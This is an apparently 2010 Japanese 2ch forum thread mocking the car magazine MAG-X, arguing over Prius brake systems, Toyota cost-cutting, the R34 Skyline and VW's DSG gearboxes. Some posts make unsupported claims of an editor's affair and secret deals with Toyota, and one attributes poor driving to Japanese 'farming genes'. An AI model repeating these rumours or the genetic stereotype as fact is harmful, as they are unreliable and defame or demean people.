反論は無理無理ｗ

"清水氏のブログと総括に書かれた内容のどこが違うのか分からん"
"清水氏らの言ってる、２系統の油圧ブレーキの正体は何か？"

と書くほどの文盲＆論理的思考が苦手な奴だから。

>>629
ああ規制に巻き込まれていたわｗ

ホリデーオート読んでみたが、あの油圧ブレーキシステム、
わざわざ２系統に分けて、回生ブレーキと併せて３系統！と威張るほどではない罠ｗ

要は通常時にソレノイドバルブ介して、油圧をかけているのを、
ブレーキ踏み圧によっては、ハイドロブースターから直接油圧をかけている、それだけ。
これは２系統のブレーキ制御システムのうち、油圧ブレーキシステムの方の「制御」がうまくいってなかったと言うべきだろうなｗ

わざわざ３系統なんて言うのは、2代目プリウスからコストダウンしたブレーキシステム、なんて一部で騒がれたから（事実だがｗ）、
「そんなことはない！ちゃんと３系統に分けて制御しています！（ｷﾘｯ）」、とｗ

しかし、総括もＥＣＢシステムの図面ぐらいは載せておかないと、文章だけでは訳が分からんぞｗ

>>626
ああ、>>619-621あたりの流れが笑えるなｗ
そんなに必死にならなくても良いと思うが

2代目プリウスについて、「ブレーキシステムは2系統」とトヨタ自ら言ってたのに
3代目は、油圧の流れを状況に応じて変えるだけで、いきなり3系統のブレーキシステムとかｗ

まあ、頑張ってハイブリッドを横展開するために、コストダウンした努力は認めるがね。

>>623
まあね。

今回の総括にしても、わざわざＸ字配管なんて持ち出すことはないと思うがなぁ
外国の部品メーカー崇拝もほどほどにして欲しい罠。

まあそれだけトヨタ車の品質が悪いってことだよ

ttp://jbpress.ismedia.jp/articles/-/3056

＞振り返ると3年ほど前からなのだが、欧州の自動車技術者（複数）と会って話を交わす中で、1つの問いを投げかけられるようになっていた。
＞「トヨタの『プロダクトクオリティー』が下がってきているが、どう思う？」

そういや、内装剥がして自分でスピーカー交換しちゃうような知り合いが、今ＧＳ乗ってるけど、
ばらした時に露わになる造りが安っぽくて涙が出るって言ってたなｗ
値段が同等のドイツ車とは比較にならんと

同程度のドイツ車って何

>>636
Ｍ社とかＢ社、あとＡ社の車だな。

>633
> 外国の部品メーカー崇拝もほどほどにして欲しい罠。

総括はいろいろ聞いたのを一人が纏めてるみたいだけど、デザインやエンジンとか部品メーカー側に近い人とかだからなぁ。

トヨタ出身のダイハツ社長、お客様を連中呼ばわり
http://namidame.2ch.net/test/read.cgi/sfe/1146077748/

>>638
総括の記事内容は、モーターファン別冊紙でメーカーや元技術者相手に取材した内容を、牧野氏？が座談会形式に纏めたものだからなあ。
それをヨタ関係者は、「対談形式を装った、技術的裏づけが皆無の衒学オナニー」という方向で何とか持っていきたいみたいだけどｗ

親のトヨタを落して子ダイハツを持ち上げる変な本だな

今月号もぜんぜん売れてない

【自動車】ダイハツ、「タント」など2車種11万4358台をリコール［10/03/31］
http://anchorage.2ch.net/test/read.cgi/bizplus/1270017933/

最近面白くない・・・

>>640
裏のMFiだからねｗ

本当に技術者たちが集まっていると思っている人ってけっこういるのね。
今さらながら関心。
どう見ても一人の人間が自分の知っている範囲をバラしてまとめているだけだろ。

>>646
まだいるのかｗ
粘着だねｗｗｗ

ジュネーブモーターショーのレポート

まったく面白くない

面白くないなら何度も見なきゃいいのにｗ

米国のトヨタネガティブキャンペーンは失敗　トヨタの米販売前年比で4割増
http://tsushima.2ch.net/test/read.cgi/news/1270161402/

クソ雑誌MAG-Xで個人的にトヨタ嫌いなだけのバカが、回復に10年はかかるとか叩いてたのになｗｗ

書き込みたい人ここ使って下さって結構です
http://sports2.2ch.net/test/read.cgi/kouhaku/1268042051/

トヨタ社員の歯ぎしりが心地よいスレ

てす

リコールの届出について（三菱　ランサーエボリューション）
三菱自動車工業株式会社から、平成２２年４月８日国土交通大臣に対して、下記のとおりリコールの届出がありましたので、お知らせします。

国土交通省
ttp://www.mlit.go.jp/report/press/jidosha08_hh_000554.html

てす

おお。込めるようになた。

しまった。こんなクソ雑誌のスレに誤爆してしまった。
少し読んだら、オタと厨房とカスしかいねえじゃんか、ここってｗ
まあ、誰も知らんバカ雑誌など読んで盛り上がる変態だから、
しゃあーねーかあｗｗｗ

国沢乙

598 ：名無しさん＠そうだドライブへ行こう：2010/04/03(土) 19:49:25 ID:owBj1XOZ0
トヨタグループのコピペ貼ってたやつってアク禁くらってたのか

http://namidame.2ch.net/test/read.cgi/kcar/1267716248/511
そうそう、この愛媛のスバヲタさんですね。

★090825 複数板 ﾄﾖﾀｸﾞﾙｰﾌﾟ|ｵｽｽﾒ2ch|三菱AAﾏﾙﾁ報告
http://qb5.2ch.net/sec2chd/kako/1251/12512/1251264466.html

> 207 名前： ちきちーた ★ 投稿日： 2009/09/16(水) 20:14:50 ID:???0
> ipad\d+matuyama.ehime.ocn.ne.jp　規制

もう総括って両角は関わってないみたいだね。
以前はゲップが出るほどのメカ解説が売りだったのに、内容が薄っぺらくなり杉。

今では政治ネタが売りの本

総括も読む価値なくなったしもう切ろうかなとも思ってるんだが
何かしらいいきっかけってないもんかね？

>>662
どの雑誌買ってるのですか？他に買ってるならすぐ切れます。

それが定期で買ってるのこれだけなのよ
情報とか入れる意味もあって何となく続けてるけど、総括があれじゃあ…

MAG−X読まないなら、FロードとCGがあればいいかな
なーんも考えずに読めるTipoもおまけで
あとMFIを何冊か抑えておけばOK

ふぁんろーどは廃刊になったよ

なんでアニメ雑誌が出てくんだｗ
モーターファンＩはすげー面白いので同意
ｔｉｐｏはｊ’ｓじゃない方だけ同意

ここんとこずっと見てなかったんだが、５月号を読んだ。

今更感のあるプリウスブレーキ問題なんだが、総括始まって以来の混乱振りだ。
この内容では読者に何の意味があるのか疑問。休載したほうがよかったのでは？

プリウスブレーキ問題の技術解説は論外として
そもそも問題とされた現象がどんなものだったのかですら、理解不足な感じだ。

この際、回生ブレーキのこともブレーキバイワイヤのことも一旦忘れるといい。
とにかく油圧

マグXの記事のレベルなんて前からそんなもんだろ。
どんな問題についても、本質を的確に捉えたことは一度もない。
今更感は>>668にも漂ってたりしてｗ

こんなクソ雑誌、ラーメン屋や散髪屋で待ち時間に斜め読みするレベル。
ラーメンの汁が飛んで汚れた無意味な雑誌。それ以外の存在価値はない。

じゃあ本質を的確に捉えられる>>669が評論家になればいいじゃん。不可能なのは
知ってるけど。

なんで評論家にならないといけないのか。
文句言ったら全員評論家になるのかよ

>>670
プリウスのブレーキ油圧はＡＢＳが利くとバイワイヤ油圧系統から別の油圧系統に切り替わる。
この本質を的確に捉えられなかった総括は評論家やめればいいのか？
この点を外して問題の説明が不可能なのは知ってる？

>670
逆だよ。逆、逆ｗ　分かってないねえｗ
本質を的確に捉えられるからこそ、車の評論家になどはやらないんだよ。
それが本質ってもんだ。
確かに、おまえは車の評論家になる素質があるがなｗｗｗ

今日一番の厨発言w

そんなに自分を卑下しなくても良いぞｗ
厨房君ｗ

>>673
確かにそうだ。株やってるとよくわかる。
本当に分かっている人はポジショントークするし
評論家は教科書に載ってるようなことと結果論をうまく織り交ぜて
本当らしく言うだけ。

まあ４／２６号で謝罪か訂正記事がでれば、
プリウス問題の技術上の本質は何だったのか
はっきりする。

総括の本質が何だったのかも・・ね。

マンネリ＋ウソ記事ばっか
定期購読辞めるわ

>>677
どうせいつものように
「誤解を招いたようだがあれは○○○という意味で言ったので（ｒｙ」
「記事を起こした編集が早とちりで勝手に書いた。（我々はまったく悪くはないのだが）ここにおわびする（ｷﾘｯ」
という往生際の悪いことを抜かしやがると思う

おっと！こんなことを言っているとＵＲＬを貼り付ける厨が現れてしまうなｗ

>>679
なんか知らんが、随分と総括を目の敵にしてるなw
ひょっとして愛車を貶されたのか？

トヨタ社員の書き込みってコンプレックスに満ちてるからすぐわかるよねw

一般人から見たら、どっちもクソだがなｗ

長く続いた自民党／トヨタの時代が終わり
民主党／総括に期待する向きもあったのだが

あまりにもひどいので

有権者／読者が逃げだすが、他に行き場もないw←今ここ

>>683

意外と正論かもね。

>>680
おまえはエスパーかｗ
あこがれて恋焦がれて働きまくってやっと買ったＲ34ＧＴ-Ｒ・・・ウンコ扱いだった
そのもうちょっと手心加えろやーって思った

そりゃ、R34GTRなんて、余程のスカイラインマニアでは無い限りオススメはできんだろw
当時の普通の車好きなら、ボクスターかＭ３買うよ

アンチ総括ファビョりすぎワロタw

>>685
ごめん・・・R34の総括読んで「よくぞ言ってくれた!!」とか思っちゃったw

中身以前に、デザインが受けつけなくてね。あの、カラス除けみたいな
リアのコンビが特に・・・

ねえ、ニュルブルクリンクをタイムアタックモードで走れる日本人って何人ぐらい居るの？

>>688
あのカラス除けがいいんじゃないか！・・・コルベットの方がもうちょっとだけかっこいいけど
フロントはデザイナー自身が「ボルボからパクッてみたｗ」と白状してたっけ
昔の総括はもっとメカ好きがワクワクするような記事だったよね
いまの総括は手抜きしすぎ
最近では新型マークＸが酷かった　実質関東自動車のクルマだから評価しません★ひとつってなんだよｗ

>>688
当時の総括に、｢このデザインで販売するのは犯罪に近いね｣とか書かれてて、爆笑した覚えがあるw＞Ｒ３４

GTRはともかく、セダンのデザインは今見てもダサい罠w

>>690
あのフロント、ボルボの意匠をパクってたのかよ！
スカイラインにボルボって・・・いくらなんでも違うだろwww
>>691
全体的にアレなんだけれど、セダンのルーフラインは特にねぇ
古いなんてもんじゃなかったな

そもそも「狭い」って言われちゃったR32からR33にモデルチェンジ
する時に、FR版P10プリメーラみたいな方向のパッケージにでも
してくれてたら和製3シリーズになれたのになぁ

いちお、おさらい

R32が桜井氏の薫陶を受けた伊藤氏の元で、出来のいいスポーツサルーンになった影響もあって、
R33に対する期待は大きかったのだけど、経営不振に陥った日産が「セダンもクーペもホイールベースをローレルと共通化する」とか宣言してしまい、
走りの面でR32を超えることが出来なかった。
当時、福野礼一郎氏に「ブタをいくらハイテクでドーピングしても、ブタはブタなんだぞ」とか言われたりした。

R34では、ホイールベースを再びR32に近づけたけど、エンジンもプラットフォームもR32からの使い回し。
既にBMWは3シリーズで、ロングホイールベース、ショートオーバーハング、エンジン搭載位置をバルクヘッドに接近・・・・と実践していたんだけど、
当然、そんなことが使い回しのプラットフォームで出来る訳もない。
さらにデザインも最悪で、R33に比べてエッジを強調するデザインだったために、ただでさえ長いフロントオーバーハングまで強調されてしまった。
キャッチコピーとして「ボディは力だ！」と当時やたらと宣伝していたけど、
数年後に販売されたFFのプリメーラで「R34と同等のボディ剛性を達成した」とあっさり言われてしまうｗ

R34GT-Rはそんなスカイラインを、ハイテクと強引なボディ補強で、なんとかニュルを周回できるようにした車です。
そういうのがお好きなスカイライン党が買うのであれば問題ないかと

増刊で｢プリウスの真実｣って出てますね（４月９日発売）。

誰も取り上げていないのですが、中身は今までの焼き直しでしょうか？

コンビニでさらっと立ち読みした程度では
・ブレーキ問題については、熊倉氏が記事を書いていた
・あとは、もう殆どが社会的な記事ばかりで技術的なものは少ない

だった様な。　もうちょっと余裕があれば立ち読みでもしようかな、と思ったんですが
しょうもない内容だったらやめようかなｗ

>>693
それが事実ならR32を10年作ってたほうが良かったな

>>695
事実なんだよなーこれが
しかもオマケでＲ34セダンのデッサンが狂っている長いリアオーバーハングは
「ゴルフバッグを積むためだけにトランクを大きくしたかったから」
しょーもない理由なのがどうしょーもなくハラが立つだろｗ

>>696
まぁアレだ、Vになって良かったって事だなwww
R好きは色々言うけれど、車として「マトモ」にはなったし、北米で売れてるしね。

しかし、スカイラインをいじくり回すより先に、ローレルを何とかしようって発想は
無かったのかね？

!

>>696
>「ゴルフバッグを積むためだけにトランクを大きくしたかったから」

確かこれ実際は前後の重量バランスを最後まで解決できなくて苦肉の策で
ごまかしたことの言い訳なんだよね。本田もNSXで全く同じことをして。

>>699
NSXは横風対策って聞いたことがあるけれど、実際はどうなんだろ？

>700
アメリカの要望もあるんじゃないか？

フェラーリもそれなりのトランクとかは、アメリカ市場の要望でどうにかしてたし。

>>700
Ｖ６横置きゆえのヨーダンピングの素性の悪さを
特大のオーバーハングによる空力でカバーしてる。
ゴルフバッグも積めるし、外観の強烈な特徴となる。

巨大なトランクを設けたり、大容量（4000kcal）のエアコン設けたり、あとAT車を用意したりと
当時のスーパーカーでは考えられなかった快適装備を盛り込んだことは
マクラーレンF1設計したゴードン・マレーに衝撃を与えたりもしているんだよなｗ

氏曰く、マクラーレンF１を１００点とすると、NSXは７０点、その他のフェラーリなんかは３０点・・・・らしい。

最も安全性の優れた自動車に「スバル レガシィ」
http://www.yomiuri.co.jp/atcars/news/20100421-OYT8T00833.htm?from=os4
http://www.yomiuri.co.jp/zoom/20100421-OYT9I00825.htm

　国土交通省と独立行政法人自動車事故対策機構（ＮＡＳＶＡ）が
安全性能の評価が最も高い自動車を表彰する２００９年度の「自動車アセスメントグランプリ」に
富士重工業の「レガシィ」が選ばれ、２１日、表彰式が行われた。
富士重工業は２００７年度の「インプレッサ」に続く２度目のグランプリ受賞。

プリウスブレーキの通常動作、ＡＢＳ動作、何が問題か？３つ全てまとはずれ。

回生ブレーキと協調制御するのはアキュームレータ油圧だけで、レギュレータ油圧は関与しない。
ＡＢＳが作動する時にアキュームレータ油圧からレギュレータ油圧に切り替わる。
アキュームレータ油圧とレギュレータ油圧の差によって生じる減速Ｇ抜けが問題。

×ＡＢＳの空走０．０６秒

プリウス叩き専用ムック

なんでも叩かれれば喜ぶ
短絡的な作り手と読み手

乗ったことない馬鹿が多数。
それかメーカー開発の窓際か

でも乗って暴走したら死ぬかもしれないし。

おっとプリウスの悪口はそこまでだ

たまたま本屋に行ったらMAG-Xが新装刊って表紙に書いてあったので
４ヶ月ぶりぐらいに買ってみたが、何が変わったのかよくわからん
手元にあった２月号と比較してみたら、特別定価５９０円が定価５９０円になっており
ページ数が２０ページ近く減っているのだが、これは前から？
お値段据え置きでページ減なのがリニューアルの中身だとしたら終わってんな

>>711
失礼な！


…はじまってすらいないというのに！

もうおしまい

部数凋落中

民主党に媚びを売りたくて
無駄を省くだとか誌面でいきがってw
ぜんぜん売れないのに
惰性で出し続けているだけのMAG-Xがが最も無駄だろw

またR34GT-R厨が暴れているのかｗ
なんとしつこいｗ
１０年も前の総括で叩かれたことを未だ根に持つぐらいだから、頭がおかしいのだろうな・・・・

＞惰性で出し続けているだけのMAG-Xがが最も無駄だろw

「が」は一つ無駄だよ

大事な助詞なので２回使いました。

今月号の総括は何よ？

総括読んだら、プラネタリギアの損失が大きくて笑った。

カー＆メインテナンスだったかのパッソ・ブーンの開発者インタビューにあったメカニズム解説と比べるとどうしようもないな。

部下との不倫編集長が、目次で豊田章男に懸命のゴマすり
いよいよ終末が近いと察して
やばそうな記事は外注の署名入りにして責任転嫁
自分だけトヨタ社長に取り入ろうって魂胆

結局、長いものに巻かれるわけ。

それはなぜか。

あの馬鹿はコンプレックスの塊だから。
トヨタにごますれる自分に酔っているのだろう
だから憧れの六本木、高級鉄板焼き屋に出入りし、
記者の溜り場なんていうテンチンカンな説を唱える。

不倫も結局そう。
身分不相応の憧ればかり

そしてトヨタとも裏で取引。
これが自称スクープ雑誌の陳腐な裏側

そうそう、コンプレックスで一番ひどいのは学歴。
じつはオレも頭がいいと墓穴掘る毎日

>>719
今月は「カー＆メインテナンス」かｗ

先月のホリデーオートの解説なら多くの人が読んでいるかもしれんが、
カー＆メインテナンスのパッソ・ブーンの開発者インタビューなんて誰が読むのやらｗ
どれだけトヨタ車のメカニズムが好きなんだｗ

>>720
章男社長を悪く言うのは、車に関しては門外漢のメディアばかりだと思うがねぇｗ

>>721
なんか知らんが、深く恨んでいるんだねｗ

>722
> 今月は「カー＆メインテナンス」かｗ
>
> 先月のホリデーオートの解説なら多くの人が読んでいるかもしれんが、
> カー＆メインテナンスのパッソ・ブーンの開発者インタビューなんて誰が読むのやらｗ
> どれだけトヨタ車のメカニズムが好きなんだｗ

家から出ないのかどうか知らんが、普通に本屋に行けば車雑誌のコーナーにマガジンＸもカー＆メンテナンスもある。

＞家から出ないのかどうか知らんが、普通に本屋に行けば車雑誌のコーナーにマガジンＸもカー＆メンテナンスもある。

そういう問題かよ、とｗ

カー＆メンテナンスなんて雑誌初めて知った

>>715
待ってくれ、俺じゃないってｗ

今月号のパッソ/ブーンは予想通り★ふたつのメッタ切りだったな
CVTの重量の話や、ダンパーの油の話とかなかなか面白かった
マークXのときみたいな手抜き記事じゃなかったので割と楽しく読めたぜ

え、パッソなんて★ゼロが妥当じゃないか？

パッソ/ブーンは松下宏も怒ってるね。
リアシートの安全装備コストカットで省略してるらしいじゃん
そういうことはしないって以前トヨタのトップが宣言してたのに

ベッタリのダイハツに対して燃費★装の記事で中途半端に牙をむいた

>>729
★の数しか見ていないのか？

>>728
いいじゃねーか
この間まで日本車なんて曲がらない、止まらないなんて当たり前だっだろ
ボディもぺなぺな

それでも喜んで乗っていたんだからよ

なにを聖人ぶってんだか

聞きかじりの知識で適当にまとめた程度の総括で一喜一憂
お目出度い読者だこと

ダ★ハツにの燃費★装問題を追及したらジャーナリストと認める
しっぽ巻いたらゴミｗ

＞問題を追及
ネットと新聞、週刊誌からネタを拾い集めて
ビジネスムックとかのたまう程度の連中だぜw
もちろん全く売れてないｗ

三菱のリコール隠し問題も追及をやろうとしたとたん腰砕けにｗ
編集長が変わったからか

このていどの無駄な駄文の垂れ流しで金を取れると思ってるのが
い　た　い
バカな連中。

でもトヨタ車の三流ぶりを伝えられるのはこの雑誌くらいだしなあ

>>732
そんなに★つけてお前が一番びびってんじゃん。
ちいせーやつ
他力本願

>>736
裏じゃベタベタだぜ
大きい物が大好きだから、あの馬鹿
一流の仲間入りってな

パッソは★１が妥当だけど
なんで日本車って真面目に車作らないの？
コストを下げる部分は抜きにして

>>738
某所の中の人だけどまず上が予算をくれないんだ
真面目に作ろうにも「コレとコレをつかってこんなの作ってね。予算はこんだけしかないけどｗ」
っていう流れだからホントどーしよーもないんだ
使うもの決まっているし金もくれないこれで俺らにどうしろとって言いたい
やっとこさ発売してもそこからさらにコストダウンするためにゴリゴリ削っていく
マイチェン後の車がお得とかのたまう雑誌はメーカーの実態分かってんのかって思う

>739
マガジンＸそのままだな。

「予算自由に使っていいよ」なんて業界存在するのか?

>>738
大変なんだな
新車でパッソが100万、VWのポロが200万で売られてるけど
200万で売るとしたらパッソがポロレベルまで作ることできるの？

>>739
例外的に予算をくれた車の具体名たのむｙ！

「予算自由に使っていいよ」でなくてもいいんだ常識的な金額ってあるよね
例えば「明日300円で売るお弁当は40円で作りなさい」って言われるような感じ
じゃあ冷蔵庫に入っている残り物をなんとか工夫して使うか…ってなる
それで発売したとたん「もっと儲けたいから今度から20円で作ってねｗやればできるｗ」って言ってくるんだぜ
そりゃ見た目は同じでもその実態は推して知るべしだろ？

まとも予算もらえた車？そんなのないってｗ　最量販車種の某コンパクトカーなんてエグいんだから

最量販車種の某コンパクトカーってフィットとか？

モノづくりの常識的な利益率ってだいたい相場があるじゃない。車でもお弁当でも

普通は数％ぐらいのもんで１０％台に行けば優秀な部類になると思うんだけど。

３００円で売るお弁当を２０円で作れって‥現実なら箱代にしかならんだろ。

たとえ例え話でも粗利８割９割あたりまえ！みたいなアリエナイ相場感覚で

製造業の、しかも量販コンパクトカーの実態を語られても、相当違和感あるな。

いつも思うのは、日本人はなぜこんなに運転が下手なのか、なぜこんなに車オンチなのか。
日本人が良いものを理解できないからメーカーはバカみたいなコストダウンに走ってしまう。
日本人はまだ車に乗り出してから日が浅いからだと思っていたこともあるが、若い奴を見ていると
そんなことは関係ないような気もする。農耕民族の遺伝子的に動的なものに対する感覚が
著しく狩猟民族より劣っていると言わざるを得ないのだろうか。

こちらは、部品メーカーの中の人。いわゆる外資系なので、全部のメーカーとお付き合い
させて貰ってる。
その中で感じたことを。職業柄、あちこちの設計事務所へ行って仕事してるんで。
派遣じゃないけど、今の業界は部品メーカーの設計が中に入るのが当たり前じみてるし。

つくづく思うのが、西に行くほど金にうるさい。浜松は例外だけど。修ちゃんが（ｒｙ
エンジニアとして楽しいのは、栃木の人達。純粋に技術論で話が出来る。
広島も古い担当の人達、課長相当の人達とか、たたき上げで50代の人達は
話が出来る。少なくとも、筋の通った要求は来るかな。相談も出来るし。
30代から40代前半の大事な連中は、かなりバラツキがある。
ゴリ押しする奴や、判断出来ない奴らがゴロゴロしてる。だから問題が起きる。

愛知はどっちもなんだかなあ…。コストダウンに走って見苦しいわ。
人質大好きだしね。

いずれも会社も一緒だが、根拠のない基準価格で見積もり出してくんの
勘弁して欲しいわ。
このご時世、大抵の部品が共通化されてるからメーカーは体力の削り合いに
なっちゃうんだな。ベースのICなんて一緒の物を使ってるケースが多い。
そこであっちが高いとかこっちが高いとか、赤字ベースの見積もり出されたら
こっちもね…。手広くやってるメーカーは、他の部品で折り合いつけるんだろうけど。

>>747
わかるわかるｗ
俺も某社の中の人だけど修おじいちゃんところに限らず軽自動車って凄いよな
特にタイヤなんか一般人が聞いたら噴飯物の原価だもんな

>>747
悪いが、読めば読むほど部品メーカーの中の人には思えないから質問。

栃木ではどこで打ち合わせしましたか？

広島ではフォードとの提携後、コスト管理がどう変わりましたか？

自動車メーカーが見積もりを出してくるのは変ですよね？
（見積もりを出すのは部品メーカー）

修ちゃんて誰？

>>748
軽自動車はね…。でも、軽を取らないとボリュームが稼げないから
各社勝負してくるんだよなあ。だから、軽自動車はあの価格で成り立ってる。
恐ろしいよ。勾配さんは値段しか見てないもの。

>>749
栃木は食堂。内容によってはワイガヤとか入れてくれるよ。

広島の件は営業じゃないからあれだけど、普通にワールドワイドで調達だよ。
地場がどうとかあんまり言わなくなってきた。
ベース車体毎に設計責任が日本だったりFOEだったりFOAだったりするね。
はっきり言って、FOEの人間の方が広島の連中より話が通じるわ。

見積もりは、最初の一回ぐらいの時に言ってくるんだよ。目標価格はこの位って。

そして、修ちゃんを知らないなんてどこのメーカーの人？
自動車業界で修ちゃんを知らないなんてどうかしてる。

トヨタのコストカット要求は確かにキツイけど
そのかわりいきなり仕事を打ち切るような理不尽な事はほとんどない
逆に日産やホンダは国内の下請けに仕事すらくれないし
日産にいたってはいきなり前触れなく取引中止をしてくる事が多い
正直言ってトヨタもその他のメーカーもたいして体質は変わらない

>>750
調達の話じゃなくて、設計がやるコスト管理ががらっと変わったんだけどね。

打ち合わせは普通会議室でやるでしょ。栃木のどこに会議室があるかきいてみただけなんだけどさ。
部品メーカーの設計が中に入るのが当たり前なんだから、オープンスペースの食堂で大事な話、
特に技術の話なんかできない。特に外資系ならなおさら。

あ、修ちゃんは浜松市長よりエライ人って知っててきいてます。ごめん。

>>751
その通り。

トヨタの場合は要求は厳しいけれど一緒に頑張りましょうっていうスタンスが多い

>>753

【コラム】トヨタの巨大な利益はどこに消えたのか [10/04/30]
http://anchorage.2ch.net/test/read.cgi/bizplus/1272619492/l50

■突然の生産調整をサプライヤーに押し付けても・・・
■資金繰りが行き詰まる零細「下請け」企業
■傘下企業を家族のようにまとめていたかつてのトヨタ

>>752
知らないなら良いけど、あそこの打ち合わせは食堂だよ。

そして広島の連中は、技術を知らないからまともなコスト管理なんて
出来ないよ。
貴島さん直系の人達は話がよく分かるんだけど。

コンプラもなにもないな
まともな企業とは思えん
　

部品屋ごときの罵り合いはほかでやれ。

いつになったら日本のメーカーはゴルフに追いつけるの？
今のところスズキしか無理だとおもってるんだけど

某所の人たち頑張れよ

>>758
永遠に無理だろうな
むしろは差は広がってきてるし

別冊のビジネスムック　全く売れていない。

別冊ってプリウスの真実とかいうやつか？内容に見るべきところがなんにもない感じだった

そういえば、４月号５月号の総括のｇｄｇｄな展開について今月号で釈明はなかったの？

ジャーありストらしく
Ｄハツの「燃費詐称」問題に切り込め！


提灯持ちだから無理か

>>758
マジレスするとマツダぐらいかな？
つっても、追いつくのが精一杯だろうが・・・・

日産はFR車に期待しているんだけど、
次期スカイラインは期待大

>次期スカイラインは期待大

このフレーズ、一体何回聞いたことだろう・・・

次期型を待たなくても
V36の後期はむちゃくちゃ良くなってるぞ

アクセルをちょっと踏んだだけでビュっと飛び出す悪癖や
異様に重いステアリングなどの
悪い部分が全部直ってる

一頃のべストカーみたく三菱のマンセーがひどいねｗ

パッソでトヨタ叩くと子会社のダイハツを間接的に叩いてるときがついて無いｗ
大好きなダイハツなのに、親会社トヨタも同じように愛してやれｗ

最近はダイハツもコテンパンに叩かれるだろ。何を読んでるんだ。

>>743
インフィニティQ45

>>743
センチュリー、ｉ

>>764
次のスカイラインは、リアサスペンションが現行フーガで導入されたものに一新されるからね。

フロントサスはＶ３５から改良されたものだけど、リアサスはＹ３４セドグロ時代のものを手直ししたもの。
導入されたＹ３４時代ですら、リアサスはあまり評価されてなかった。
http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB:NISSAN_Cedric.jpg

パッケージはＶ３５で一新されたけど、リアサスだけが残ってしまっていた。

>>765
Ｖ３６はいいよね。
北米市場でＢＭＷと争うことを目標に造ってあるせいか、
無茶苦茶ボディに金かかってる。




ただ、価格もバブルの頃のＲ３２ＧＴ−Ｒ並になっちまったがｗ

>>771
290万のベースグレードで十分だよ
あれはお買い得だ

VW賞賛は同意するけどね
速さと燃費の両立は凄いし
他社が捨てた技術も育てて市場に出してる

本来ならトヨタや日産がやるべき事をやってる
まあ日本の顧客はDSGの低速ショックがクレームになるからな…
GT-Rで発進時のショックが不快なんて言うレベルだし

日本メーカーは縛りが多くて実力を出せないのが勿体無いよ

そういや、ベストカーで「大評判のVW」、とか特集しているな
こういう記事が出るってことは、評論家先生の間でも相当評判が良いってことだよ。

>>773
そもそもショックってないほうがいいものかな

結局は「大評判のVW」で
特大爺の引力圏からいつまで抜けけられないことに
自分たちも気が付いて無い

小「特大爺」が増殖してるわけだｗ

VWは燃費がいいって言ってもハイオクだしな。
低速のショックも考えると日本ではねえ。
あと値段とか考えると評論家の論点は一般人と違うなあと感じる

「特大爺」のメルセデスとディーゼルエンジンが好きなのは終始一貫してるｗ

日本にメルセデス教を広めた教祖

>>778
自己満足に100万円だせるかどうかだね。
出したい人は出せば良いし、差額を別に使いたい人はそうすればよい。

小特大爺さんたちは、いまだに他人を見下すアイテムにもしようとしてるのが
アレだけどね。

結局、いいものであっても金が出せないんじゃん。

いいもの作れだの、作れないだのさんざんほざいているけど、
てめーが金出せないようじゃあな。

給料少ないけど、いいものだから高くても買いました
ぐらい言えよ。
そうじゃないと、そもそもメーカーもいいもの作れないだろ

>>782
俺はゴルフVI買っちゃった。
給料は少ないけどｗ

ドイツ車を過大評価するヤツってさあ、
不思議とどいつも大きなコンプレックスを
持ってるもんなんだよなvw

>>780
メルツェデスなｗ

>>784
なんだ、このコンプレックス丸出しの書き込みはｗ

>>782
ＤＳＧはその”いいもの”ではないからでしょ？
日本の評論家は絶賛し、ＭＡＧ−Ｘは欧州ではＤＳＧが主流なんて言っているけど
現実は欧州でＤＳＧは不人気ですから

このスレで、発売日（26日）直後に粘着しているのはＣＧ信者かｗ
ＣＧ本スレに誤爆しているみたいだねｗ↓


550 名無しさん＠そうだドライブへ行こう 2010/05/01(土) 23:42:43 ID:nRvOeNzm0
リコール隠しの三菱をマンセーしてるようじゃ信用度ゼロ
マンセーは三菱のリコール隠しの総括を終えてからのしろ

「しばらくすればお客さんは事件を忘れてしまう。平気ですよ。」
そのままコレじゃないかｗ

http://namidame.2ch.net/test/read.cgi/car/1268323757/550

>>787
不人気つーか、欧州ではＤＳＧは結局、トルコンＡＴの代替としてしか認められず、
環境問題もあって、やっぱりＭＴが必要ってことになりつつあるんじゃなかったっけ？（ｂｙ　福野礼一郎）

>>778
欧州のガソリンは、オクタン価が異なるものが３種類あるからね。

低オクタン価（91前後）、中オクタン価（95前後）、高オクタン価（98前後）の3種類があり、
中オクタン価ガソリンが約8割のシェアを持っている。
欧州ではこの中オクタン価ガソリンが日本のレギュラーガソリンに相当する位置づけ。
なお、日本のレギュラーガソリン（90程度）に近い低オクタン価ガソリンのシェアは極めて低く、販売すらしていないガソリンスタンドも多い。

よって、ほとんどの欧州車は日本ではハイオク指定となっている。

ドイツは最近AT率が上がってきてるよ
フェラーリやランボルギーニもMTの生産はやめると発表したし
今後はどんどんAT率が上がっていくだろう

この中でドイツのことをちゃんと知ってるヤツってどんだけいるのかねｗ
ドイツ語どの程度理解できるのかね。
どこに住んでたのかな。どの程度歴史を知ってんのかね。
奥さんがドイツ人とか。
なんか面白いよなｗ

>>790
それは知ってる。
でも、だから日本ではハイオク仕様で売るのはしょうがないってのが
評論家思想なんだよ。
一般人からいうと、燃費をちょっと良くするぐらいなら、その前にまず
レギュラー仕様にしろってのが普通だろ。
評論家のそういう論点は見たことがない。
総括なんか日本車が同じことすると、めちゃくちゃつっこまれると思うぞ。

なんでそんなにレギュラーにこだわるのかが理解できない
10円/Lの差しかないのに
10m/Lで1万km走って1万円の差しか出ないんだぞ

年間1万や2万でごちゃごちゃ言ってる奴に輸入車なんて買えないから
そんな指摘をする意味はない

>>793
「一台一台ではガソリン使用量の微々たる違いだけれども全体では膨大な違いになる。
ドイツメーカーでは地球環境の保全という視点で敢えてハイオク仕様にしている。」
って書いてあったよ。

>>795
何語で書いてあった？
日本のHPはあてにならんよ。

>>796
輸入車の代理店か何かだろうて。

方便を真に受ける人が居るから・・・

あははは。そりゃあ、ご愁傷様なことで。
英語もドイツ語もろくすっぽできないのが、
低俗車雑誌や代理店の無知な坊やの言うことを
真に受けるってことですな。

それで、ドイツ車が良いとか言うんだから、
これはもうお笑い種としか言いようがvw

パッソの総括に書いてあった
サスペンションの話の、ザックスの「お客様しだいです（笑）」てどういう意味なの・・・？

>>793
＞一般人からいうと、燃費をちょっと良くするぐらいなら、その前にまず
＞レギュラー仕様にしろってのが普通だろ。

燃費を良くする理由が「エコロジー」ではなく、「エコノミー」であることがよく分かるねｗ

話を元に戻すと、こればかりはメインの市場環境が違う以上どうしようもない。
そのリスクを許容出来る人しか買えないのが欠点だな、正直なところ。

